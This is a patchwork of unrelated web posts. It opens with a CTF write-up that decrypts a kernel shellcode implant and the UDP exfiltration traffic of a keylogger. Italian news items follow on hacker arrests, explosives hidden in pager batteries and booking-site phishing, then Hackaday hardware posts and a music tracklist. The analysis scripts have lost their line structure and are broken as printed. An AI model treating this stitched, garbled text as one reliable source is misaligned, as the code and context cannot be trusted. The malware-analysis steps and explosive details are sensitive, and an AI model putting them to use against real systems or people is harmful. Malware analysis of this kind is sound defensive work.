Booting with the shellcode

Although replacing the SYSTEM and SOFTWARE hives may get you past the first BSOD, the system will most likely still crash. To actually have a bootable system (and since we know the registry keys that trigger execution), it makes sense to transplant only the correct registry keys:

• boot in a normal installation of Windows 7 SP1 amd64, mount the SYSTEM hive with Regedit;
• save the registry key from the mounted hive and then restore it to the target registry location:

>reg save *mountpoint*\ControlSet001\Contro
l\GraphicsDrivers c:\dump.reg
The operation completed successfully.

>reg restore HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\
GraphicsDrivers c:\dump.reg
The operation completed successfully.Now it is possible to boot the system, debug the shellcode, and figure out the bytes required for decryption. By setting a breakpoint at offset 0xA4 in the shellcode, we can trace the correct address:

The original source bytes to be modified and hashed are located in dxgkernel.sys:
0x48, 0x83, 0xec, 0x28, 0x80, 0x3d, 0x24, 0xee, 0xf9, 0xff, 0x00,
0x75, 0x13, 0x33, 0xc9, 0xc6, 0x05, 0x19, 0xee, 0xf9, 0xff, 0x01, 0xe8,
0x19, 0x7d, 0x00, 0x00, 0xe8, 0x5c, 0xdf, 0x00, 0x00, 0x33, 0xc0, 0x48,
0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc
The modification of DWORDs at offsets 0x5 and 0x11 removes relocatable parts.

Decrypting the second stage

Let’s dump the “Control” registry value:
from regipy.registry import RegistryHive
reg = RegistryHive('SYSTEM')
with open('Control','wb') as f:
f.write(reg.get_key('\\ControlSet001\\Control\\GraphicsDrivers\\MemoryManag
er').get_value('Control'))
The resulting file should be 10848 bytes long and have the following MD5 checksum:
33030a6f336d589eaf16856bdf65ab01 Control
By implementing the decryption algorithm the same way as in the shellcode, and using the correct bytes from dxgkrnl, we are able to decrypt the second stage:
import struct
bytes_to_hash = bytearray([0x48, 0x83, 0xec, 0x28, 0x80, 0, 0, 0, 0, 0xff,
0x00, 0x75, 0x13, 0x33, 0xc9, 0xc6, 0x05, 0, 0, 0, 0, 0x01, 0xe8, 0x19,
0x7d, 0x00, 0x00, 0xe8, 0x5c, 0xdf, 0x00, 0x00, 0x33, 0xc0, 0x48, 0x83,
0xc4, 0x28, 0xc3])
seed = struct.unpack('<L', bytes_to_hash[0:4])[0] ^ 5389
for i in range(len(bytes_to_hash)):
seed=((seed * 1664525) + 1013904223) & 0xffffffff
bytes_to_hash[i] ^= (seed >> 16) & 0xFF
with open('Control', 'rb') as f:
control=bytearray(f.read())
for i in range(len(control)):
seed=((seed * 1664525) + 1013904223) & 0xffffffff
control[i] ^= bytes_to_hash[i%len(bytes_to_hash)] ^ ((seed >> 16) &
0xFF)
with open('Control.dec', 'wb') as f:
f.write(control)
The resulting file should have the following MD5 checksum:
fb9dfb839d28bf0780ba534d381c294c Control.dec
Since the second stage is also a shellcode, let’s see what’s in there.

The second stage

The shellcode of the second stage can be recognized as multi_arch_kernel_queue_apc.asm with minor modifications. Once recognized, there is no need to analyze the code because its only purpose is to inject a usermode APC with the payload. One detail worth mentioning is that the hashed name of the target process is “vboxtray.exe” (hash value 0x21B5C5E1).

The shellcode is appended with a WORD value equal to the length of the usermode payload, followed by the payload itself. So, by searching for the loader’s ending opcodes, we can locate the usermode payload:

Let’s extract and check the contents of this payload.
b5a958164178bda276c46e83eb1885e2 usermode_payload

Usermode payload

The usermode part injected as an APC starts with a DLL loader generated by the sRDI (“shellcode reflective DLL injection”) toolkit. This is a common piece of code that usually requires no additional analysis, so for now let’s focus on its payload – the DLL appended to the shellcode.

The library has the following characteristics:

The library’s entry point simply executes a call to OutputDebugString that can be used for live debugging:

The only export “Hook” that is triggered by the reflective loader also produces a debug string, loads system libraries, and creates a thread. In this thread, the module first resolves API addresses by their hashes and then sets up a typical keylogger Windows hook (WH_KEYBOARD_LL):

The hook procedure is the most important here: it collects WM_KEYDOWN events in a buffer, encrypts them with RC4, and then sends them via UDP. The RC4 key is built from a MachineGuid and a fixed binary string:

Now that we know the business logic of the module, it is time to look at the network dump (traffic.pcapng):

Let’s collect all the UDP packets on port 53 and decrypt them:
from scapy.all import *
from regipy.registry import RegistryHive
from Crypto.Cipher import ARC4

reg = RegistryHive('SOFTWARE')
guid=reg.get_key('\\Microsoft\\Cryptography').get_value('MachineGuid').encode('utf-16le')
def decrypt_payload(payload):
key=guid
key+=b'\x00\x00' # terminating zero, utf-16
key+=b'\x05\x00\x00\xc0\x42\x00\x00\x80'
key+=b'\x06\x00\x00\xc0'
cipher=ARC4.new(key=key)
return cipher.decrypt(payload)

capture=b''
for packet in PcapReader('traffic.pcapng'):
if UDP in packet and packet[UDP].dport == 53:
ct = decrypt_payload(bytes(packet[UDP].payload))
capture += ct
print(capture)
A test run produces promising results, but there are low-level hook control sequences that should be handled correctly:
b'NOTE\xa0PLAN FOR
TODAY\r\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb
\xbb\x08\x08\x08\x08\r\r\xa08 S\x08FINISH THE \xa0IR TASK\r\xa08 WRIT \x08E
A REPORT \r\xa08 SOLVE THE LAST \xa0SASCTF TASK
\r\r\xa0\xa0\xa0\xa0\xa0\xa0\xa0OMG1 SOLVED IT\xa01\r\xa0THE FLAG
IS\xa0\xba
\xa0SAS\xdb1\xa0R\xbd1\xa0S\xbdT\xa0H3\xa0\xbdB3\xa0ST\xbdS0\xa0URCE\xbdOF\
xbdR3\xa0S3\xa0ARC\xa0HES\x08\x08\xa0\xdd\r\r\xa0HOE\x08PE IT
WORKS\xbe\xbe\xbe\r\r\xa0WILL FINISH THE REPORT
TOMORROW\xbe\xa2SPLAN\xbeTXT\r'
Since the keylogger is rather limited in functionality and only records key down events, the best we can do is parse shift-downs and convert VKeys to readable chars:
i = 0
final = ''
mapping = { 0xbb : '=', 0xba : ':', 0x0d: '\n', 0xdb: '{', 0xdd: '}', 0xbe
: '.', 0xbd: '-' }
uppercases = { '1' : '!', '8' : '*', '\xbd' : '_', '\xdd' : '}', '\xba' :
':' }
skip =
[0xa2]while i < len(capture):
b = capture
[i] if b == 0xA0: # LSHIFT
i += 1
c = chr(capture[i])
if c in uppercases:
c = uppercases
[c] elif b in mapping:
c = mapping
[b] else:
c = chr(b).lower()
i += 1
if b == 0x08: # backspace
final = final[:-1]
elif b not in skip:
final += c
print(final)
As a result, we get the following output:
notePlan for today
==============

* finish the Ir task
* write a report
* solve the last Sasctf task

Omg1 solved it!
The flag is: Sas{1R-1S-tH3_b3St-s0Urce-of-r3S3ArcH}

Hope it works...

Will finish the report tomorrow.splan.txt
As we can see, the flag string does not exactly match the format (“SAS{}”) because of the lack of Shift events, so we need to figure out/brute-force the final value, which turns out to be all uppercase (a lack of underscore conversion allows us to guesstimate where Shift should have been held down):
SAS{1R_1S_TH3_B3ST_S0URCE_OF_R3S3ARCH}

The SAS CTF final competition

The SAS CTF doesn’t end with the last challenge of the qualifying phase. On October 22-25, the top eight teams head to Bali to face more interesting challenges. If you want to join them, see who wins in person, and attend some great cybersec presentations at the Security Analyst Summit conference, you can register here.

securelist.com/sas-ctf-windows…

Durante l’operazione Data Breach, la polizia brasiliana ha arrestato l’hacker USDoD coinvolto nell’hacking di database nazionali e sistemi dell’FBI. L’aggressore, che opera anche sotto lo pseudonimo di EquationCorp, da diversi anni sferra attacchi informatici di alto profilo, rubando e pubblicando informazioni riservate sui forum degli hacker.

Tra i suoi attacchi più famosi c’è l’hacking del portale InfraGard, utilizzato per condividere informazioni sulle minacce informatiche tra l’FBI e organizzazioni critiche negli Stati Uniti. Un altro incidente, l’hacking National Public Data (NPD), ha fatto trapelare informazioni personali e numeri di previdenza sociale di centinaia di milioni di cittadini statunitensi. Secondo la polizia, USDoD ha distribuito i dati di 80.000 membri di InfraGard su siti web specializzati.

A seguito di questi fatti, l’editore brasiliano Techmundo ha ricevuto una segnalazione anonima che pretendeva di rivelare l’identità dell’aggressore. Nel documento si affermava che sotto lo pseudonimo USDoD si nascondeva un 33enne brasiliano di nome Luan G. Poco dopo, l’hacker stesso ha confermato in un’intervista a HackRead la correttezza di questi dati, aggiungendo che vive in Brasile. Ha anche notato che le informazioni sulla sua identità erano note a numerose aziende, inclusa Intel421, anche prima dell’attacco a InfraGard.

Probabilmente la polizia federale brasiliana ha utilizzato queste informazioni per localizzare il sospettato. L’operazione Data Breach si è conclusa con l’arresto di un hacker nella città di Belo Horizonte il 16 ottobre. Nell’ambito dell’indagine sono state condotte anche perquisizioni e sono state sequestrate prove indicanti il ​​coinvolgimento del detenuto nella vendita di dati della Polizia federale il 22 maggio 2020 e il 22 febbraio 2022.

L'articolo Hacker dell’USDoD è stato Preso! l’hacker che ha sfidato l’FBI ora è dietro le sbarre proviene da il blog della sicurezza informatica.

Seconda puntata, ecco la Tracklist e link :

1 - SHEHEHE - ELTON JHON - shehehe.bandcamp.com/track/elt…
2 - AIDALA - SPIRIT
3 - DANIELE BRUSACHETTO – ALLA LUNA
4 - TARWATER ULTIMO DISCO - youtube.com/watch?v=tCW4-LnhA0…
5 - ELISA MONTALDO – WASHING THE CLOUD
6 - O SUMMER VACATION - HUMMING - Humming | o'summer vacation (bandcamp.com)
7 – GITANE DEMONE – COME
8 - IBIBIO SOUND MACHINE - PULL THE ROPE  - Pull the Rope | Ibibio Sound Machine (bandcamp.com)
9 - DAIISTAR - STAR STARTER - Star Starter | DAIISTAR (bandcamp.com)

@Radio Unitoo @Musica Agorà

Un episodio curioso e preoccupante è accaduto di recente quando un uomo, visibilmente ubriaco, si è messo alla guida della sua Google Car, un veicolo che ha suscitato molteplici discussioni negli ultimi anni.

L’incidente è avvenuto a Castello d’Aviano (Pn) e ha coinvolto due persone: un 38enne di Fontanafredda, che è uscito quasi illeso, e un 57enne di Aviano. Secondo la ricostruzione dei carabinieri di Polcenigo, intervenuti per i rilievi, il conducente della Honda – che trasportava i supporti necessari per i dispositivi fotografici sul tetto, utilizzati per aggiornare le mappe stradali – ha invaso la corsia opposta mentre affrontava una curva, proprio nel momento in cui stava sopraggiungendo una Fiat Uno.

Nell’incidente il conducente ha perso il controllo del veicolo, finendo per schiantarsi contro un altro automobilista. Questo evento ha immediatamente richiamato l’attenzione delle forze dell’ordine, che sono accorse sul luogo per gestire la situazione.

Le autorità intervenute hanno trovato il conducente in stato di ebrezza (un tasso alcolemico tre volte superiore al limite consentito), a testimonianza di una notte di eccessi. Nonostante il veicolo fosse dotato di tecnologia avanzata, l’uso della Google Car non ha impedito al guidatore di commettere un grave errore di giudizio.

Dopo l’incidente, l’uomo ha mostrato comportamenti inappropriati, tra cui l’atto di urinare davanti ai carabinieri, un gesto che ha ulteriormente aggravato la sua situazione. Gli agenti hanno quindi ritenuto opportuno ritirare la patente di guida dell’uomo e denunciarlo per guida in stato di ebbrezza.

Le Google Car servono per il mapping delle strade utilizzate dal servizio Google Street View, una caratteristica di Google Maps e Google Earth che fornisce viste panoramiche a 360° in orizzontale e a 160º in verticale lungo le strade, a distanza di 10-20 metri l’una dall’altra, e permette agli utenti di vedere parti di varie città del mondo a livello del terreno.

L'articolo Ubriaco alla guida di una Google Car: Dopo l’incidente urina in presenza dei Carabinieri proviene da il blog della sicurezza informatica.

With the 2024 Hackaday Supercon just a couple weeks away, we’re pleased to announce that the official site for the three-day event is now live!

On the brand-new Supercon page, you can find a listing of all of our fantastic speakers, the hands-on workshops, and perhaps most importantly, the schedule of when everything is happening. As always, Supercon is jam-packed with incredible content, so you’ll want to consult with the schedule to navigate your way through it. Don’t worry if it ends up that two talks you want to see are scheduled for the same time — we’ll be recording all of the talks and releasing them on the Hackaday YouTube channel, so you won’t miss out.

If you’re still on the fence, we do have a few tickets left at the time of this writing. All of the workshops are full at this point, but you can still get on the waiting list for a few of them just in case a spot opens up.

hackaday.com/2024/10/17/read-a…

Come abbiamo visto, una strategia ingegnosa ha trasformato i dispositivi di Hezbollah in bombe ambulanti, utilizzando tecniche avanzate per infiltrare esplosivi nei loro sistemi e confondere le loro operazioni. Avevamo parlato a suo tempo del PETN, un potente esplosivo militare inserito all’interno di tre tipologie di cercapersone tra le quali Motorola LX2, Teletrim, Gold Apollo.

Ma la domanda era, tecnicamente come erano riusciti a farlo?

L’eplosivo PETN racchiuso negli strati della batteria

Da una analisi condotta da Routers, secondo una fonte libanese con conoscenza diretta dei cercapersone e secondo le foto dello smontaggio della batteria visionate dalla Reuters, gli agenti che hanno costruito i cercapersone hanno progettato una batteria che nascondeva una piccola ma potente carica di esplosivo al plastico e un nuovo detonatore invisibile ai raggi X.

Gli esplosivi PETN sono stati nascosti tra due celle rettangolari di una batteria sotto forma di un sottile foglio quadrato. Una striscia di materiale altamente infiammabile, che fungeva da detonatore, riempiva lo spazio tra le celle. L’intero assemblaggio, racchiuso in una custodia di plastica nera e un involucro di metallo, non conteneva parti metalliche, rendendo difficile il rilevamento tramite raggi X. Il dispositivo era progettato per generare una scintilla, sufficiente ad accendere il materiale detonante e innescare l’esplosione del PETN.
Immagine dall’articolo “How Israel’s bulky pager fooled Hezbollah” di Reuters

Una operazione basata su ottime Esche

Dopo aver ricevuto i cercapersone a febbraio, Hezbollah ha sottoposto i dispositivi agli scanner di sicurezza aeroportuali per verificare la presenza di esplosivi, ma non è stato rilevato nulla di sospetto. Gli esperti hanno ipotizzato che i dispositivi generassero una scintilla per attivare il materiale detonante e far esplodere il foglio di PETN. Gli esplosivi occupavano circa un terzo del volume della batteria, che aveva quindi una capacità energetica ridotta.

Il presidente di Gold Apollo, Hsu Ching-kuang, ha rivelato di essere stato contattato tre anni fa da Teresa Wu e dal suo superiore, “Tom”, per un accordo di licenza. Hsu ha concesso loro il diritto di progettare e commercializzare prodotti a marchio Gold Apollo, ma non conosceva bene il manager e non sapeva se collaborassero con l’intelligence israeliana. Ha descritto la sua azienda come vittima del complotto, affermando di non avere informazioni sulle capacità letali dei cercapersone coinvolti. Gold Apollo ha rifiutato ulteriori commenti.

I leader di Hezbollah hanno avviato indagini interne per scoprire come sia avvenuta la violazione della sicurezza relativa ai cercapersone acquistati, ritenuti compromessi. Dopo aver constatato l’intercettazione delle comunicazioni cellulari da parte di Israele, il gruppo ha optato per i cercapersone. Le indagini hanno rivelato che un venditore ha utilizzato una strategia di prezzo aggressiva per convincere Hezbollah a scegliere l’AR-924. Gli attacchi israeliani successivi hanno portato a un’escalation del conflitto, culminando nell’uccisione di un alto funzionario di Hezbollah, Nabil Kaouk.

Anche la tecnologia Obsoleta può essere hackerata

Il successo di questa tattica risiedeva nell’accuratezza delle esche. Israele è stato in grado di creare scenari credibili per Hezbollah, che, credendo di intercettare informazioni vitali, mobilitava risorse su fronti sbagliati, lasciando i veri obiettivi israeliani praticamente indisturbati.

In sintesi, i cercapersone israeliani rappresentano un esempio di come la tecnologia, anche quella apparentemente superata, possa essere sfruttata in modo ingegnoso per manipolare il nemico in scenari di guerra. Israele ha utilizzato questi dispositivi non solo come strumenti di comunicazione, ma come vere e proprie armi psicologiche, ingannando Hezbollah e guadagnando un vantaggio strategico cruciale.

L'articolo Tecnologia Obsoleta, Risultati Letali: Come Hezbollah è Caduta nella Trappola Esplosiva proviene da il blog della sicurezza informatica.

Il giovane hacker di 24 anni Carmelo Miano è stato arrestato a Roma dopo aver violato numerosi account e sistemi informatici della Procura di Napoli. A quanto riporta il quotidiano La Repubblica, l’hacker avrebbe violato anche la casella di posta elettronica di Nicola Gratteri.

Quattro anni di Corsa contro l’Hacker

Per oltre quattro anni, l’hacker ha sfruttato le sue abilità per accedere illegalmente a migliaia di file riservati, tra cui ordinanze giudiziarie e documenti sensibili, rubando password e diffondendo malware. Le indagini, condotte dalla Polizia Postale, hanno rivelato che l’hacker utilizzava più identità per sfuggire alle autorità​.

L’operazione che ha portato all’arresto è stata condotta dai magistrati Sofia Cozza e Vincenzo Piscitelli, i quali hanno sottolineato la gravità del danno arrecato ai sistemi di sicurezza del Ministero della Giustizia. Da quanto è stato riportato, l’hacker conosceva le password di ben 46 PM.

Durante l’arresto, l’hacker è stato trovato in possesso di una notevole quantità di dati rubati, inclusi documenti giudiziari ancora sotto segreto investigativo. Questo caso è considerato una delle più serie violazioni informatiche subite dal sistema giudiziario italiano negli ultimi anni​

Il giovane, originario di Gela, è accusato di “accesso abusivo a sistema informatico finalizzato al dossieraggio e alla diffusione di malware”. Le autorità stanno indagando su possibili mandanti o complici, e altri tre sospetti sono già sotto inchiesta. Il coinvolgimento dell’hacker non si limita solo al furto di informazioni: ha anche cercato di sfruttare le sue incursioni digitali per influenzare procedimenti giudiziari, mettendo a rischio indagini in corso.​

Nicola Grattieri vittima delle scorribande di Miano

Nicola Gratteri, uno dei magistrati colpiti dall’attacco, ha commentato che la minaccia rappresentata dall’hacker ha costretto molti della sua Procura a sospendere temporaneamente l’uso delle comunicazioni digitali, tornando a utilizzare metodi tradizionali per evitare ulteriori compromissioni. Anche Giovanni Melillo, procuratore nazionale Antimafia, ha espresso la sua preoccupazione, evidenziando come questo tipo di attacchi informatici metta a rischio la sicurezza dello Stato​.

La vicenda ha destato allarme non solo tra gli addetti ai lavori, ma anche nell’opinione pubblica, poiché solleva serie domande sulle capacità di difesa informatica delle istituzioni. Gli esperti suggeriscono che questo incidente debba servire da monito per rafforzare le misure di sicurezza, specialmente nel settore giudiziario, spesso oggetto di attacchi da parte di cybercriminali sofisticati.

Lo spettro dell’assenza della Multi Factor Authentication

Conoscere le password di 46 magistrati e accedere ripetutamente ai loro account implica una violazione massiccia e sistematica dei sistemi informatici, la quale solleva gravi interrogativi sulle misure di sicurezza adottate. Se l’hacker ha ottenuto accesso ai token di autenticazione legati a ciascun terminale, significa che ha avuto accesso fisico o remoto a ogni dispositivo, un’impresa complessa e particolarmente avanzata.

Dalle informazioni diffuse sui media, Miano aveva accesso ai PC dai quali recuperava le password di accesso con uno script sui browser degli utenti. Qualora fosse stata attivata la MFA, il secondo fattore sarebbe stato trasmesso sullo smartphone e quindi su una APP Authenticator o tramite SMS. Quindi oltre al PC avrebbe dovuto violare anche gli Smartphone dei magistrati oppure aver sfruttato le falle del protocollo SS7 per l’intercettazione degli SMS, cose effettivamente molto evolute.

Se la multi-factor authentication (MFA) non era presente, l’accesso alle caselle di posta elettronica sarebbe stato incredibilmente facile per un cybercriminale con sufficienti competenze e gli accessi corretti. La MFA, che richiede più livelli di verifica, è oggi uno standard basilare per proteggere le credenziali, rendendo qualsiasi sistema senza questa misura vulnerabile anche agli attacchi più semplici.

Sebbene tutto questo risulti ancora da chiarire da parte della Magistratura, nel caso in cui tale misura non sia stata implementata viene da dire come sia possibile che un settore così strategico per la sicurezza nazionale non abbia adottato protezioni basilari di questo tipo per proteggere le caselle di posta elettronica dei suoi magistrati.

La magia del Data Breach

Come spesso abbiamo riportato, Oggi esiste una letteratura sterminata su quelle che sono le buone pratiche di sicurezza informatica, oltre a molte normative e direttive che ci hanno insegnato importanti lezioni su come implementare e controllare una buona postura cyber.

Il problema è che avvengono costantemente cose terribilmente paradossali negli incidenti informatici che non sono motivabili da un “accidentalità” dovuta ad un’alta sofisticazione di un “attacco di livello”. Pertanto occorre fare delle giuste considerazioni e dire una cosa che a molti non piacerà, ovvero: per fortuna che ci sono i Data Breach!

In generale, la maggior parte delle aziende dopo un attacco informatico si organizza spendendo tantissimi soldi per avviare miglioramenti o programmi cyber. Tanti soldi quanti non avrebbero mai pensato di spendere in tutta la loro esistenza sulla cybersecurity.

Ma questa volta i soldi non sono di un azionista di maggioranza di una multinazionale americana, i soldi sono di noi cittadini. Pertanto speriamo che questi vengano finalmente spesi bene!

L'articolo Carmelo Miano è entrato nella Posta di 46 Magistrati tra cui Nicola Grattieri! E La MFA? proviene da il blog della sicurezza informatica.

I truffatori che utilizzano lo strumento Telekopye hanno ampliato le loro operazioni e hanno iniziato a prendere di mira gli utenti dei servizi di prenotazione di alloggi come Booking.com e Airbnb. Telekopye è un insieme di strumenti eseguiti su Telegram che i criminali utilizzano per creare pagine di phishing e rubare i dati degli utenti.

Telekopye divenne nota per la prima volta nel 2023. Lo strumento consente di creare pagine false in cui le vittime inseriscono i dettagli della carta bancaria. Nel corso dell’anno si sono sviluppati schemi fraudolenti che utilizzano Telekopye e ora coprono non solo le piattaforme di trading, ma anche i servizi di prenotazione di alloggi.

Lo schema della truffa è il seguente: i criminali contattano gli utenti delle piattaforme segnalando presunti problemi con il pagamento della prenotazione. Alle vittime viene chiesto di seguire un collegamento a una pagina falsa molto simile all’originale. La pagina contiene già informazioni sulla prenotazione effettiva, il che rende la truffa ancora più convincente. I truffatori ottengono dati per accedere ai conti di hotel e immobili acquistando conti rubati su forum clandestini.

Esempio di un falso modulo di pagamento di Booking.com creato da Telekopye

Una delle caratteristiche distintive di Telekopye è la sua facilità d’uso: i criminali informatici non necessitano di conoscenze tecniche particolari. Lo strumento fornisce tutti gli strumenti necessari per creare messaggi siti fake, pagine Web ed e-mail di phishing.

I truffatori dei gruppi che utilizzano Telekopye operano secondo un modello di business, con gerarchie chiaramente strutturate e orari di lavoro fissi. All’interno dei gruppi viene mantenuta una corrispondenza dettagliata su ogni transazione, che aiuta a controllare la distribuzione dei fondi rubati.

Un esempio di chat online tra l’aggressore (a sinistra) e la vittima (a destra)

Secondo ESET, il numero di attacchi fraudolenti ai servizi di prenotazione di alloggi è aumentato notevolmente nel 2024, soprattutto durante i mesi estivi. Nel mese di luglio tali attacchi hanno superato per la prima volta il numero dei casi di attacchi classici che coinvolgevano piattaforme di trading. Nei mesi di agosto e settembre la frequenza degli attacchi contro entrambe le categorie di servizi si è stabilizzata.

Anche la piattaforma Telekopye viene costantemente migliorata. I truffatori hanno aggiunto nuove funzionalità come la generazione automatica di pagine di phishing e la protezione DDoS integrata per proteggersi dagli attacchi della concorrenza.

Per proteggersi da tali truffe, ESET consiglia di verificare sempre l’autenticità dei messaggi, evitare di fare clic su collegamenti sospetti e utilizzare soluzioni antivirus in grado di avvisare l’utente della presenza di siti di phishing.

L'articolo Un Viaggio Molto Caro! Così i Criminali Informatici Possono Rovinarti le Vacanze proviene da il blog della sicurezza informatica.

We’ve seen a few retro products using core rope memory, such as telephone autodiallers. Obviously, we’ve covered the Apollo program computers, but we don’t think we’ve seen a complete and functional DIY computer using core rope memory for program storage until now. [P-lab] presents their take on the technology using it to store the program for a Z80-based microprocessor demoboard, built entirely through-hole on a large chunk of veroboard.

For the uninitiated, core rope memory is a simple form of ROM where each core represents a bit in the data word. Each wire represents a single program location. Passing a wire through the core sets the corresponding bit to a logic 1, else 0. These wires are excited with an AC waveform, which is coupled to the cores that host a wire, passing along the signal to a pickup coil. This forms an array of rudimentary transformers. All that is needed is a rectifier/detector to create a stable logic signal to feed onto the data bus.

For this to work as a ROM with the Z80, the address bus is decoded to 16 individual lines using a CMOS 4515 4-16 decoder. These lines each drive a 2n2222 NPN transistor, pulling one end of the associated address wire to ground. The other ends of all address wires are tied to a common AC-coupled oscillator based around our good friend, the 555 timer. A simple rectifier is formed for each core sense circuit with a BAT85 Schottky diode and a 1 nF capacitor, which passes the sense signal along to a CMOS 4508 dual 4-bit latch. The output of which is passed back to the Z80 data bus via some multiplexing logic. Other than some indicator LEDs on the data bus, the only other IO or indication on this board are a couple of 7-segment displays. Obviously, the ROM is limited to a meagre 16 bytes of storage, making a meaningful demo rather limited. Luckily, it’s possible to code a Fibonacci sequence generator in that space, including driving the output latch to update the display. We wonder now what else could be made to fit in such a restricted code?

We covered DIY core rope memories before, like here and here; they’re not news to us. Compare and contrast a DIY magnetic core memory. Less efficient at this scale? We think so, too.

youtube.com/embed/26skBvMBiA4?…

thanks to [Giuseppe] and [Survival Hacking] for the tip!

hackaday.com/2024/10/16/diy-co…

If you picked today in your hackerspace’s sweepstake on when Winamp would pull their code repository, congratulations! You’re a winner! The source for the Windows version of the venerable music player was released on GitHub three weeks ago, and after some derision over its licence terms, a bunch of possible open source violations, and the inadvertent release of some proprietary third-party code, it’s been taken down. We’re sure that if you still have a burning desire to look at it then it won’t be too difficult to find a copy through your favorite search engine, leaving the question of what really just happened.

It’s fairly obvious that the owners of the code lacked some level of understanding of just what open source really is, based on their not-really-open licence and all those code leaks. They did back down on not allowing people to create forks, but it’s evident that they didn’t anticipate the reaction they got. So were they merely a bit clueless, or was it all just a publicity stunt involving a piece of software that’s now of more historical than practical interest? It’s possible we’ll never know, but the story has provided those of us sitting on the fence eating popcorn with some entertainment.

hackaday.com/2024/10/16/winamp…

You want to add voice, music, or sound effects to your project. What do you do? Sure, it is easy enough to plug a Raspberry Pi or some other tiny computer, but that’s not always desirable from a power, space, or cost point of view. [Mellow_Labs] shows a module that makes it simple to add sound to any project. The little board is just big enough to house a speaker and doesn’t cost much. Check it out in the video below.

The device allows you to preload tracks as MP3 files. There are two ways to control it: via a serial port, or using a single pin that can accept commands like you might expect from a MP3 player, like play and next track.

The module was loud, and the built-in speaker can be replaced. The module’s documentation doesn’t seem to include any example code, but [Mellow_Labs] has code for you on GitHub. It probably isn’t going to win any audiophile awards, but you don’t expect that from something just a little bigger than an inch across and not even a half-inch tall. Seems like a good thing for your Halloween props.

It isn’t that we haven’t seen MP3 modules before, but this one is nicely integrated and complete. We wondered if a 3D-printed cone might make this a nice custom bike horn or if it would need more amplification.

youtube.com/embed/RloY9t0kO2w?…

hackaday.com/2024/10/16/module…

Inspired by the classic game Robo Rally, [Ytec3D]’s Clockwork Derby takes tabletop gaming to the next level by combining steampunk aesthetics with automation. We recently had the chance to see it live at Hackfest, together with [Ytec3D]’s animatronic tentacle, and we can say that his new take on playful robotics offers a unique experience for game enthusiasts. The 300×420 mm board uses magnets, motors, and card readers to handle up to eight players, creating a smooth, automated version of Robo Rally where players can focus on strategy while the board handles movement.

In Clockwork Derby, game pieces are moved by a magnetic system controlled by the board, which rotates and shifts pieces in real-time. Each player uses a card reader to program moves, with up to five cards per round. The board scans these cards via barcode scanners, so you don’t have to worry about tracking your moves or adjusting game pieces manually. [Ytec3D]’s game rules have been optimized for the automated setup, allowing for smoother gameplay and an emphasis on strategic choices.

The project is a standout for hackers and tinkerers who appreciate blending physical mechanics with digital precision. It’s a great example of how classic games can be modernized with a bit of ingenuity and tech. For those interested in DIY gaming projects or automation, Clockwork Derby is definitely worth exploring. To dive deeper into the build details and see more of the project, visit [Ytec3D]’s project page for an in-person look at this inventive tabletop game!

youtube.com/embed/8uJ5YfFld00?…

hackaday.com/2024/10/16/clockw…

This week Jonathan Bennett and Jeff Massie chat with Andy Piper about Mastodon! There’s a new release of Mastodon, and plenty on the road map to keep everybody excited!

• joinmastodon.org/
• shop.joinmastodon.org/products…

youtube.com/embed/5TH4uKfE0bA?…

Did you know you can watch the live recording of the show Right on our YouTube Channel? Have someone you’d like us to interview? Let us know, or contact the guest and have them contact us! Take a look at the schedule here.

play.libsyn.com/embed/episode/…

Direct Download in DRM-free MP3.

If you’d rather read along, here’s the transcript for this week’s episode.

Places to follow the FLOSS Weekly Podcast:

• Spotify
• RSS

hackaday.com/2024/10/16/floss-…

Want to give prospective employers a business card that doesn’t immediately get tossed? Of course you do. If you’re one of us, the answer is obvious: make it some kind of a PCB.

Image by [Ricardo Daniel de Paula] via Hackaday.IOBut as those become commonplace, it’s imperative that you make it do something. Well, you could do a lot worse than giving someone a fully-functioning capacitive-touch keyboard to carry around.

[Ricardo Daniel de Paula] initially chose the CH32V303 microcontroller because it has native USB 2.0 and 16 capacitive touch channels, which can support up to 48 keys via multiplexing.

But in order to reduce costs, [Ricardo] switched to the CH582M, which does all that plus Bluetooth communication. The goal is to have an affordable design for a unique, functioning business card, and I would say that this project has it in spades.

Btrfld is a Folding Butterfly Keyboard

This origami beauty’s name is pronounced ‘butter-fold‘, by the way. And that’s because this is a folding, portable version of the original butterfly keyboard by [SolidusHal]. Be sure to check out the .gif of it folding and unfolding on the first link.

Image by [SolidusHal] via redditInstead of the Kailh Chocs you were probably expecting, this bad boy has Cherry MX ULP (ultra-low profile) switches, which [SolidusHal] reports are really nice-feeling with a tactile bump. The jury is still out as to how they compare with Chocs, however. With these, the overall thickness of the thing is only 15.5 mm.

As [SolidusHal] says over on GitHub, there aren’t any amazing sources of ULP keycaps yet, so the best option is to print them, and of course you’ll find the STLs in the repo. But beware, an FDM printer isn’t up to this task.

While you could hand-wire this thing, board files are available, so you should probably use them if you’re gonna build your own. And controller-wise, you can use a nice!nano or a BlueMicro840, or just a Pro Micro if you don’t want Bluetooth.

The Centerfold: Taste the Rainbow

Image by [haunterloo92] via redditYou know I can’t resist a rainbow, right? And a translucent case too; that just takes the cake. This here is [haunterloo92]’s Locus keyboard, which features a carbon fiber plate, Lichicx silent tactile switches, and GMK CYL ZX keycaps, which of course recall the Sinclair Spectrum ZX. Not sure what desk mat that is, but it recalls ye old Apple rainbow, don’t you think? But good luck searching for it. (I had none.)

Do you rock a sweet set of peripherals on a screamin’ desk pad? Send me a picture along with your handle and all the gory details, and you could be featured here!

Historical Clackers: Salter No. 5

The curved keyboard of this Victorian beauty isn’t just for looks — it was designed to mimic the shape of the hands and thus be more comfortable.
The Salter no. 5 in all its Victorian glory. Image via Antikey Chop
What you can’t do with this one is slouch in your chair, otherwise you won’t see what you’re typing over that curved, black shield in the middle.

It is thought that there were no Salter nos. 1-4, and that Salter started with a higher number as to appear more established. Although sold by George Salter’s family company, the typewriter was invented by James Samuel Foley in 1892.

The Salter no. 5 features a three-row keyboard with two Shifts, one for upper case and the other for figures. Altogether, there are 28 keys that can produce 84 characters.

While early 5s used an ink pad, the later models employed a ribbon. They were marketed to compete with Remington typewriters and such, but at one-half or one-third the cost. Even so, they were one of the best typewriters available at the time.

ICYMI: KanaChord Plus Makes Comprehensive Japanese Input Simple

Have you ever wished you had a separate, smaller keyboard for inputting another language so you didn’t have to switch up your OS every time? Well, then KanaChord Plus is the keyboard for you, as long as your second language is Japanese.

